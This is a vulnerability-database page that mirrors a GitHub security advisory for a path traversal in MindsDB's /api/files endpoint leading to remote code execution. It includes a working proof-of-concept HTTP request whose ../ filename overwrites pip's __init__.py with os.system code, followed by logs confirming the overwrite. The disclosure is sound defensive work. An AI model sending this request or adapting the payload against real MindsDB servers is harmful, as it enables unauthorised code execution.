GHSA-4894-XQV6-VRFQ

Vulnerability from github – Published: 2026-02-24 20:07 – Updated: 2026-02-24 20:07
VLAI
Summary
MindsDB: Path Traversal in /api/files Leading to Remote Code Execution
Details

Summary

There is a path traversal vulnerability in Mindsdb's /api/files interface, which an authenticated attacker can exploit to achieve remote command execution.

Details

The vulnerability exists in the "Upload File" module, which corresponds to the API endpoint /api/files. The affected code is located at mindsdb/api/http/namespaces/file.py:

@ns_conf.route("/<name>")
@ns_conf.param("name", "MindsDB's name for file")
class File(Resource):
    @ns_conf.doc("put_file")
    @api_endpoint_metrics('PUT', '/files/file')
    def put(self, name: str):
        """add new file
        params in FormData:
            - file
            - original_file_name [optional]
        """

        data = {}
        mindsdb_file_name = name

        existing_file_names = ca.file_controller.get_files_names()

        def on_field(field):
            name = field.field_name.decode()
            value = field.value.decode()
            data[name] = value

        file_object = None

        def on_file(file):
            nonlocal file_object
            data["file"] = file.file_name.decode()
            file_object = file.file_object

        temp_dir_path = tempfile.mkdtemp(prefix="mindsdb_file_")

        if request.headers["Content-Type"].startswith("multipart/form-data"):
            parser = multipart.create_form_parser(
                headers=request.headers,
                on_field=on_field,
                on_file=on_file,
                config={
                    "UPLOAD_DIR": temp_dir_path.encode(),  # bytes required
                    "UPLOAD_KEEP_FILENAME": True,
                    "UPLOAD_KEEP_EXTENSIONS": True,
                    "MAX_MEMORY_FILE_SIZE": 0,
                },
            )

            while True:
                chunk = request.stream.read(8192)
                if not chunk:
                    break
                parser.write(chunk)
            parser.finalize()
            parser.close()

            if file_object is not None:
                if not file_object.closed:
                    try:
                        file_object.flush()
                    except (AttributeError, ValueError, OSError):
                        logger.debug("Failed to flush file_object before closing.", exc_info=True)
                    file_object.close()
                file_object = None
        else:
            data = request.json

Since the multipart file upload does not perform security checks on the uploaded file path, an attacker can perform path traversal by using ../ sequences in the filename field. The file write operation occurs before calling clear_filename and save_file, meaning there is no filtering of filenames or file types, allowing arbitrary content to be written to any path on the server.

PoC

This vulnerability can be exploited to overwrite existing executable files, which retain their executable permissions after being overwritten. In addition to conventional file upload exploitation methods, we provide a way to achieve Remote Code Execution (RCE) by leveraging MindsDB's own functionality.

The API endpoint //install is used to install handlers, which internally calls install_dependencies to install dependencies via pip. This function executes pip using subprocess.Popen. Therefore, an attacker can:

  1. Exploit the vulnerability to overwrite /venv/lib/python3.10/site-packages/pip/init.py with a malicious Python script.
  2. Trigger the execution of the malicious script by calling //install, which invokes pip.

Exploit:

PUT /api/files/mm HTTP/1.1
Host: ip:47334
Content-Length: 579
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv9dZC0cAHLlHSHD9
Origin: http://ip:47334
Referer: http://ip:47334/fileUpload
Accept-Encoding: gzip, deflate, br
Accept-Language: zh,en;q=0.9,zh-CN;q=0.8
Cookie: bid=87948125-5042-4fc8-a692-9cbf71e387be
Connection: keep-alive

------WebKitFormBoundaryv9dZC0cAHLlHSHD9
Content-Disposition: form-data; name="name"

mm
------WebKitFormBoundaryv9dZC0cAHLlHSHD9
Content-Disposition: form-data; name="source"

mm
------WebKitFormBoundaryv9dZC0cAHLlHSHD9
Content-Disposition: form-data; name="source_type"

file
------WebKitFormBoundaryv9dZC0cAHLlHSHD9
Content-Disposition: form-data; name="file"; filename="../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py"
Content-Type: text/plain

import os
os.system("touch /tmp/rce_by_hacker")
------WebKitFormBoundaryv9dZC0cAHLlHSHD9--

After sending this request, you can observe the logs in Docker's output:

2025-05-30 02:26:52,432            http INFO     python_multipart.multipart: Opening a file on disk
2025-05-30 02:26:52,433            http INFO     python_multipart.multipart: Saving with filename in: b'/root/mdb_storage/tmp/mindsdb_byom_file_89h0zcz0'
2025-05-30 02:26:52,433            http INFO     python_multipart.multipart: Opening file: b'/root/mdb_storage/tmp/mindsdb_byom_file_89h0zcz0/../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py'

At this point, you can see that the file has been successfully overwritten:

root@e445c93b2fd5:/mindsdb# cat /venv/lib/python3.10/site-packages/pip/__init__.py
import os
os.system("touch /tmp/rce_by_hacker")

Afterwards, install any handler in the UI, and you will see that the file rce_by_hacker is successfully created in the /tmp directory. The same result can also be achieved by sending an API request to trigger it.

Credit

This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine

If there are any questions regarding the vulnerability details, please feel free to reach out to MindsDB for further discussion at xlabai@tencent.com.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mindsdb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "25.9.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27483"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-24T20:07:58Z",
    "nvd_published_at": "2026-02-24T15:21:38Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThere is a path traversal vulnerability in Mindsdb\u0027s /api/files interface, which an authenticated attacker can exploit to achieve remote command execution.\n\n### Details\n\nThe vulnerability exists in the \"Upload File\" module, which corresponds to the API endpoint /api/files. The affected code is located at mindsdb/api/http/namespaces/file.py:\n```python\n@ns_conf.route(\"/\u003cname\u003e\")\n@ns_conf.param(\"name\", \"MindsDB\u0027s name for file\")\nclass File(Resource):\n    @ns_conf.doc(\"put_file\")\n    @api_endpoint_metrics(\u0027PUT\u0027, \u0027/files/file\u0027)\n    def put(self, name: str):\n        \"\"\"add new file\n        params in FormData:\n            - file\n            - original_file_name [optional]\n        \"\"\"\n\n        data = {}\n        mindsdb_file_name = name\n\n        existing_file_names = ca.file_controller.get_files_names()\n\n        def on_field(field):\n            name = field.field_name.decode()\n            value = field.value.decode()\n            data[name] = value\n\n        file_object = None\n\n        def on_file(file):\n            nonlocal file_object\n            data[\"file\"] = file.file_name.decode()\n            file_object = file.file_object\n\n        temp_dir_path = tempfile.mkdtemp(prefix=\"mindsdb_file_\")\n\n        if request.headers[\"Content-Type\"].startswith(\"multipart/form-data\"):\n            parser = multipart.create_form_parser(\n                headers=request.headers,\n                on_field=on_field,\n                on_file=on_file,\n                config={\n                    \"UPLOAD_DIR\": temp_dir_path.encode(),  # bytes required\n                    \"UPLOAD_KEEP_FILENAME\": True,\n                    \"UPLOAD_KEEP_EXTENSIONS\": True,\n                    \"MAX_MEMORY_FILE_SIZE\": 0,\n                },\n            )\n\n            while True:\n                chunk = request.stream.read(8192)\n                if not chunk:\n                    break\n                parser.write(chunk)\n            parser.finalize()\n            parser.close()\n\n            if file_object is not None:\n                if not file_object.closed:\n                    try:\n                        file_object.flush()\n                    except (AttributeError, ValueError, OSError):\n                        logger.debug(\"Failed to flush file_object before closing.\", exc_info=True)\n                    file_object.close()\n                file_object = None\n        else:\n            data = request.json\n```\nSince the multipart file upload does not perform security checks on the uploaded file path, an attacker can perform path traversal by using ../ sequences in the filename field. The file write operation occurs before calling clear_filename and save_file, meaning there is no filtering of filenames or file types, allowing arbitrary content to be written to any path on the server.\n\n\n### PoC\n\nThis vulnerability can be exploited to overwrite existing executable files, which retain their executable permissions after being overwritten. In addition to conventional file upload exploitation methods, we provide a way to achieve Remote Code Execution (RCE) by leveraging MindsDB\u0027s own functionality.\n\nThe API endpoint /\u003chandler_name\u003e/install is used to install handlers, which internally calls install_dependencies to install dependencies via pip. This function executes pip using subprocess.Popen. Therefore, an attacker can:\n\n1. Exploit the vulnerability to overwrite /venv/lib/python3.10/site-packages/pip/__init__.py with a malicious Python script.\n2. Trigger the execution of the malicious script by calling /\u003chandler_name\u003e/install, which invokes pip.\n \nExploit\uff1a\n```\nPUT /api/files/mm HTTP/1.1\nHost: ip:47334\nContent-Length: 579\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36\nAccept: application/json, text/plain, */*\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryv9dZC0cAHLlHSHD9\nOrigin: http://ip:47334\nReferer: http://ip:47334/fileUpload\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh,en;q=0.9,zh-CN;q=0.8\nCookie: bid=87948125-5042-4fc8-a692-9cbf71e387be\nConnection: keep-alive\n\n------WebKitFormBoundaryv9dZC0cAHLlHSHD9\nContent-Disposition: form-data; name=\"name\"\n\nmm\n------WebKitFormBoundaryv9dZC0cAHLlHSHD9\nContent-Disposition: form-data; name=\"source\"\n\nmm\n------WebKitFormBoundaryv9dZC0cAHLlHSHD9\nContent-Disposition: form-data; name=\"source_type\"\n\nfile\n------WebKitFormBoundaryv9dZC0cAHLlHSHD9\nContent-Disposition: form-data; name=\"file\"; filename=\"../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py\"\nContent-Type: text/plain\n\nimport os\nos.system(\"touch /tmp/rce_by_hacker\")\n------WebKitFormBoundaryv9dZC0cAHLlHSHD9--\n```\nAfter sending this request, you can observe the logs in Docker\u0027s output:\n```\n2025-05-30 02:26:52,432            http INFO     python_multipart.multipart: Opening a file on disk\n2025-05-30 02:26:52,433            http INFO     python_multipart.multipart: Saving with filename in: b\u0027/root/mdb_storage/tmp/mindsdb_byom_file_89h0zcz0\u0027\n2025-05-30 02:26:52,433            http INFO     python_multipart.multipart: Opening file: b\u0027/root/mdb_storage/tmp/mindsdb_byom_file_89h0zcz0/../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py\u0027\n```\nAt this point, you can see that the file has been successfully overwritten:\n```\nroot@e445c93b2fd5:/mindsdb# cat /venv/lib/python3.10/site-packages/pip/__init__.py\nimport os\nos.system(\"touch /tmp/rce_by_hacker\")\n```\nAfterwards, install any handler in the UI, and you will see that the file rce_by_hacker is successfully created in the /tmp directory. The same result can also be achieved by sending an API request to trigger it.\n\n### Credit\n\nThis vulnerability was discovered by:\n- XlabAI Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery Engine\n\nIf there are any questions regarding the vulnerability details, please feel free to reach out to MindsDB for further discussion at xlabai@tencent.com.",
  "id": "GHSA-4894-xqv6-vrfq",
  "modified": "2026-02-24T20:07:59Z",
  "published": "2026-02-24T20:07:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mindsdb/mindsdb/security/advisories/GHSA-4894-xqv6-vrfq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27483"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mindsdb/mindsdb/commit/87a44bdb2b97f963e18f10a068e1a1e2690505ef"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mindsdb/mindsdb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mindsdb/mindsdb/releases/tag/v25.9.1.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MindsDB: Path Traversal in /api/files Leading to Remote Code Execution"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.